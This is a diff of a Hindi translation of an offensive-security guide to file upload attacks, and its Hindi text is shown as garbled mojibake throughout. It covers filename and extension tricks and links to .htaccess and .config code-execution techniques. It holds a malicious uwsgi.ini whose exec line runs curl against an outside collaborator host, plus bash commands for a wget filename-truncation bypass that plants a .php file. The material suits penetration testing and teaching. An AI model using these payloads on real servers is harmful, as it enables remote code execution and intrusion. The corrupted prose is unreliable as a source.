**рдлреЛрд▓реНрдбрд░** рдХреЗ **рдирд╛рдо** рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред +1. **рдПрдХ рд╣реА рдлрд╝рд╛рдЗрд▓** рдХреЛ **рдПрдХ рд╣реА рд╕рдордп** рдореЗрдВ **рдХрдИ рдмрд╛рд░** рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ **рдПрдХ рд╣реА рдирд╛рдо** рдХреЗ рд╕рд╛рде +2. **рдПрдХ рдлрд╝рд╛рдЗрд▓** рдХреЗ **рдирд╛рдо** рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдпрд╛ **рдлреЛрд▓реНрдбрд░** рдЬреЛ **рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рд╣реИ** 3. **тАЬ.тАЭ, тАЬ..тАЭ, рдпрд╛ тАЬтАжтАЭ** рдХреЗ рд░реВрдк рдореЗрдВ рдирд╛рдо рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рдирд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдореЗрдВ Apache рдореЗрдВ, рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ тАЬ/www/uploads/тАЭ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕рд╣реЗрдЬрддрд╛ рд╣реИ, рддреЛ тАЬ.тАЭ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо тАЬ/www/тАЭ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ тАЬuploadsтАЭ рдирд╛рдо рдХреА рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдЧрд╛ред 4. рдРрд╕реА рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рд╣рдЯрд╛рдпрд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддрд╛ рдЬреИрд╕реЗ **тАЬтАж:.jpgтАЭ** **NTFS** рдореЗрдВред (Windows) 5. **Windows** рдореЗрдВ **рдЕрдорд╛рдиреНрдп рд╡рд░реНрдг** рдЬреИрд╕реЗ `|<>*?тАЭ` рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред (Windows) 6. **Windows** рдореЗрдВ **рдЖрд░рдХреНрд╖рд┐рдд** (**рдирд┐рд╖рд┐рджреНрдз**) **рдирд╛рдореЛрдВ** рдЬреИрд╕реЗ CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, рдФрд░ LPT9 рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред -- **рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп** (.exe) рдпрд╛ **.html** (рдХрдо рд╕рдВрджрд┐рдЧреНрдз) рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдЬреЛ **рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░реЗрдЧреА рдЬрдм рдЗрд╕реЗ рдкреАрдбрд╝рд┐рдд рджреНрд╡рд╛рд░рд╛ рдЧрд▓рддреА рд╕реЗ рдЦреЛрд▓рд╛ рдЬрд╛рдПрдЧрд╛ред +- **рдПрдХ рдирд┐рд╖реНрдкрд╛рджрдиреАрдп** (.exe) рдпрд╛ **.html** (рдХрдо рд╕рдВрджрд┐рдЧреНрдз) рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдЬреЛ **рдХреЛрдб** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧреА рдЬрдм рдЗрд╕реЗ рдкреАрдбрд╝рд┐рдд рджреНрд╡рд╛рд░рд╛ рдЧрд▓рддреА рд╕реЗ рдЦреЛрд▓рд╛ рдЬрд╛рдПрдЧрд╛ред ### рд╡рд┐рд╢реЗрд╖ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЯреНрд░рд┐рдХреНрд╕ -рдпрджрд┐ рдЖрдк **PHP рд╕рд░реНрд╡рд░** рдкрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ [рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **.htaccess** рдЯреНрд░рд┐рдХ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -рдпрджрд┐ рдЖрдк **ASP рд╕рд░реНрд╡рд░** рдкрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ [рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **.config** рдЯреНрд░рд┐рдХ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +рдпрджрд┐ рдЖрдк **PHP рд╕рд░реНрд╡рд░** рдкрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ [рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **.htaccess** рдЯреНрд░рд┐рдХ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +рдпрджрд┐ рдЖрдк **ASP рд╕рд░реНрд╡рд░** рдкрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ [рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **.config** рдЯреНрд░рд┐рдХ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -`.phar` рдлрд╝рд╛рдЗрд▓реЗрдВ Java рдХреЗ рд▓рд┐рдП `.jar` рдХреА рддрд░рд╣ рд╣реЛрддреА рд╣реИрдВ, рд▓реЗрдХрд┐рди PHP рдХреЗ рд▓рд┐рдП, рдФрд░ рдЗрд╕реЗ **PHP рдлрд╝рд╛рдЗрд▓** рдХреА рддрд░рд╣ **рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ** (рдЗрд╕реЗ PHP рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛, рдпрд╛ рдЗрд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдЕрдВрджрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛...) +`.phar` рдлрд╝рд╛рдЗрд▓реЗрдВ Java рдХреЗ рд▓рд┐рдП `.jar` рдХреА рддрд░рд╣ рд╣реЛрддреА рд╣реИрдВ, рд▓реЗрдХрд┐рди PHP рдХреЗ рд▓рд┐рдП, рдФрд░ рдЗрд╕реЗ **PHP рдлрд╝рд╛рдЗрд▓** рдХреА рддрд░рд╣ **рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ** (PHP рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛, рдпрд╛ рдЗрд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдЕрдВрджрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛...) -`.inc` рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрднреА-рдХрднреА PHP рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ **рдЖрдпрд╛рдд** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП, рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░, рдХрд┐рд╕реА рдиреЗ **рдЗрд╕ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рд╣реЛ**ред +`.inc` рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрднреА-рдХрднреА PHP рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ **рдЖрдпрд╛рдд** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП, рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░, рдХрд┐рд╕реА рдиреЗ **рдЗрд╕ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рд╣реЛ рд╕рдХрддреА рд╣реИ**ред ## **Jetty RCE** @@ -104,11 +104,11 @@ AAA<--SNIP 232 A-->AAA.php.png ## **uWSGI RCE** -рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреА рд╡рд┐рд╕реНрддреГрдд рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╢реЛрдз рджреЗрдЦреЗрдВ: [uWSGI RCE рд╢реЛрд╖рдг](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреА рд╡рд┐рд╕реНрддреГрдд рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╢реЛрдз рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ: [uWSGI RCE рд╢реЛрд╖рдг](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). рд░рд┐рдореЛрдЯ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди (RCE) рднреЗрджреНрдпрддрд╛рдПрдБ uWSGI рд╕рд░реНрд╡рд░реЛрдВ рдореЗрдВ рд╢реЛрд╖рд┐рдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рдпрджрд┐ рдХрд┐рд╕реА рдХреЗ рдкрд╛рд╕ `.ini` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛред uWSGI рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЗрдВ "рдЬрд╛рджреБрдИ" рдЪрд░, рдкреНрд▓реЗрд╕рд╣реЛрд▓реНрдбрд░ рдФрд░ рдСрдкрд░реЗрдЯрд░ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд╛рдХреНрдпрд╡рд┐рдиреНрдпрд╛рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, '@' рдСрдкрд░реЗрдЯрд░, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ `@(filename)` рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред uWSGI рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╕рдорд░реНрдерд┐рдд рдпреЛрдЬрдирд╛рдУрдВ рдореЗрдВ, "exec" рдпреЛрдЬрдирд╛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рд╣реИ, рдЬреЛ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдорд╛рдирдХ рдЖрдЙрдЯрдкреБрдЯ рд╕реЗ рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рд░рд┐рдореЛрдЯ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдпрд╛ рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓ рд▓реЗрдЦрди/рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдПрдХ `.ini` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рд╕рдВрд╕рд╛рдзрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИред -рд╣рд╛рдирд┐рдХрд╛рд░рдХ `uwsgi.ini` рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рд╡рд┐рднрд┐рдиреНрди рдпреЛрдЬрдирд╛рдУрдВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ: +рд╣рд╛рдирд┐рдХрд╛рд░рдХ `uwsgi.ini` рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдпреЛрдЬрдирд╛рдУрдВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -рдкреЗрд▓реЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдХреЗ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдХреЗ рджреМрд░рд╛рди рд╣реЛрддрд╛ рд╣реИред рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдХреНрд░рд┐рдп рдФрд░ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, uWSGI рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдпрд╛ рддреЛ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП (рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХреНрд░реИрд╢ рдХреЗ рдмрд╛рдж рдпрд╛ Denial of Service рд╣рдорд▓реЗ рдХреЗ рдХрд╛рд░рдг) рдпрд╛ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдСрдЯреЛ-рд░реАрд▓реЛрдб рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдСрдЯреЛ-рд░реАрд▓реЛрдб рд╕реБрд╡рд┐рдзрд╛, рдпрджрд┐ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдкрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЕрдВрддрд░рд╛рд▓ рдкрд░ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░рддреА рд╣реИред +рдкреЗрд▓реЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдХреЗ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдХреЗ рджреМрд░рд╛рди рд╣реЛрддрд╛ рд╣реИред рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдХреНрд░рд┐рдп рдФрд░ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, uWSGI рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдпрд╛ рддреЛ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП (рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХреНрд░реИрд╢ рдХреЗ рдмрд╛рдж рдпрд╛ Denial of Service рд╣рдорд▓реЗ рдХреЗ рдХрд╛рд░рдг) рдпрд╛ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдСрдЯреЛ-рд░реАрд▓реЛрдб рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдСрдЯреЛ-рд░реАрд▓реЛрдб рдлрд╝реАрдЪрд░, рдпрджрд┐ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдкрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЕрдВрддрд░рд╛рд▓ рдкрд░ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред -uWSGI рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдХреА рд▓рдЪреАрд▓реА рдкреНрд░рдХреГрддрд┐ рдХреЛ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рдкреЗрд▓реЛрдб рдХреЛ рдПрдХ рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓ (рдЬреИрд╕реЗ рдХрд┐ рдПрдХ рдЫрд╡рд┐ рдпрд╛ PDF) рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╢реЛрд╖рдг рдХреЗ рджрд╛рдпрд░реЗ рдХреЛ рдФрд░ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +uWSGI рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдХреА рд▓рдЪреАрд▓реА рдкреНрд░рдХреГрддрд┐ рдХреЛ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рдкреЗрд▓реЛрдб рдХреЛ рдПрдХ рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓ (рдЬреИрд╕реЗ рдХрд┐ рдПрдХ рдЫрд╡рд┐ рдпрд╛ PDF) рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╢реЛрд╖рдг рдХрд╛ рджрд╛рдпрд░рд╛ рдФрд░ рднреА рдмрдврд╝ рдЬрд╛рддрд╛ рд╣реИред ## **wget рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб/SSRF рдЯреНрд░рд┐рдХ** -рдХреБрдЫ рдЕрд╡рд╕рд░реЛрдВ рдкрд░ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рд╕рд░реНрд╡рд░ **`wget`** рдХрд╛ рдЙрдкрдпреЛрдЧ **рдлрд╝рд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдк **URL** рдХреЛ **рд╕рдВрдХреЗрдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХреЛрдб рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдПрдХ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХреЗ рднреАрддрд░ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдХреЗрд╡рд▓ рдЕрдиреБрдордд рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реА рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЬрд╛рдПрдВрдЧреАред рд╣рд╛рд▓рд╛рдБрдХрд┐, **рдпрд╣ рдЬрд╛рдВрдЪ рдмрд╛рдпрдкрд╛рд╕ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред**\ -**linux** рдореЗрдВ **рдлрд╝рд╛рдЗрд▓ рдирд╛рдо** рдХреА **рдЕрдзрд┐рдХрддрдо** рд▓рдВрдмрд╛рдИ **255** рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, **wget** рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЛ **236** рд╡рд░реНрдгреЛрдВ рддрдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдЖрдк **"A"\*232+".php"+".gif"** рдирд╛рдо рдХреА рдлрд╝рд╛рдЗрд▓ **рдбрд╛рдЙрдирд▓реЛрдб** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо **рдЬрд╛рдВрдЪ** рдХреЛ **рдмрд╛рдпрдкрд╛рд╕** рдХрд░реЗрдЧрд╛ (рдЬреИрд╕реЗ рдХрд┐ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ **".gif"** рдПрдХ **рдорд╛рдиреНрдп** рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╣реИ) рд▓реЗрдХрд┐рди `wget` рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо **"A"\*232+".php"** рдореЗрдВ **рдмрджрд▓ рджреЗрдЧрд╛**ред +рдХреБрдЫ рдЕрд╡рд╕рд░реЛрдВ рдкрд░ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рд╕рд░реНрд╡рд░ **`wget`** рдХрд╛ рдЙрдкрдпреЛрдЧ **рдлрд╝рд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдк **URL** рдХреЛ **рд╕рдВрдХреЗрдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХреЛрдб рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдПрдХ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХреЗ рднреАрддрд░ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдХреЗрд╡рд▓ рдЕрдиреБрдордд рдлрд╝рд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЬрд╛ рд░рд╣реА рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, **рдпрд╣ рдЬрд╛рдВрдЪ рдмрд╛рдпрдкрд╛рд╕ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред**\ +**linux** рдореЗрдВ **рдлрд╝рд╛рдЗрд▓ рдирд╛рдо** рдХреА **рдЕрдзрд┐рдХрддрдо** рд▓рдВрдмрд╛рдИ **255** рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, **wget** рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЛ **236** рд╡рд░реНрдгреЛрдВ рддрдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдЖрдк **"A"\*232+".php"+".gif"** рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓ **рдбрд╛рдЙрдирд▓реЛрдб** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо **рдЬрд╛рдВрдЪ** рдХреЛ **рдмрд╛рдпрдкрд╛рд╕** рдХрд░реЗрдЧрд╛ (рдЬреИрд╕реЗ рдХрд┐ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ **".gif"** рдПрдХ **рдорд╛рдиреНрдп** рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╣реИ) рд▓реЗрдХрд┐рди `wget` рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо **"A"\*232+".php"** рдореЗрдВ **рдмрджрд▓ рджреЗрдЧрд╛**ред ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -172,12 +172,12 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= - **JS** рдлрд╝рд╛рдЗрд▓ 